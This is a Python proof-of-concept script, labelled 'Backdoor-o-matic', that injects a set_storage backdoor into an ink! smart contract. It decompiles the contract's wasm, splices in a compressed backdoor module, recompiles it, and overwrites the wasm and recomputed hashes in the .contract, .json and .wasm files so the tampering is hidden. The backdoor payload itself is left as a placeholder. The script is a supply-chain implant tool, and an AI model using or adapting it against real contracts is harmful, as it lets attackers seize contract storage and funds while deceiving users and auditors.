""" ++ Do not use this ++
This is a PoC for a simple backdoor implantation.

- Backdoor-o-matic -
This will implant a set_storage simple backdoor on an .ink .contract file. 
!! Replaces the .contract json inplace !!

python implant.py flipper.contract

Run merge.py backdoor.wasm to create a version of this file.
"""

import sys
import json
import binascii
import tempfile
import subprocess
import zlib
import hashlib

implant = $IMPLANT
backdoor_wat = zlib.decompress(implant).decode()


if not "contract_filename" in dir():
    contract_filename = sys.argv[1]

with open(contract_filename, "rb") as f:
    contract = json.load(f)

with tempfile.NamedTemporaryFile() as tmp:
    tmp.write(binascii.unhexlify(contract['source']['wasm'][2:]))
    tmp.flush()
    target_wat = subprocess.check_output(f"wasm2wat --generate-names {tmp.name}", shell=True).decode()

# Check if AAAA already in the target
if "1094795585" in target_wat:
    sys.exit(0)


target_wat = target_wat.replace("func $call (", "func $inner_call (")

new_target_wat_lines = []
for l in target_wat.split("\n"):
    if l.strip().startswith("(import"):
        if "memory $env.memory" in l:
            new_target_wat_lines.append(l)
            new_target_wat_lines += backdoor_wat.split("\n")
            continue
    new_target_wat_lines.append(l)

new_target_wat = "\n".join(new_target_wat_lines)

with tempfile.NamedTemporaryFile() as tmp:
    tmp.write(new_target_wat.encode())
    tmp.flush()
    merged_wasm = subprocess.check_output(f"wat2wasm {tmp.name} --output=/dev/stdout", shell=True)

contract['source']['wasm'] = "0x" + binascii.hexlify(merged_wasm).decode()
contract['source']['hash'] = "0x" + hashlib.blake2s(merged_wasm).hexdigest()

with open(contract_filename, "w") as f:
    json.dump(contract, f)

file_without_extension, _ = os.path.splitext(contract_filename)

# Update the json file with the new hash
# Read the JSON file
with open(file_without_extension+'.json', 'r') as f:
    contract_json = json.load(f)

# Modify the JSON data
contract_json['source']['hash'] = contract['source']['hash']

# Write the modified JSON back to the same file
with open(file_without_extension+'.json', 'w') as f:
    json.dump(contract_json, f)

# Update the wasm file with the new wasm
with open(file_without_extension + ".wasm", 'wb') as f:
    f.write(merged_wasm)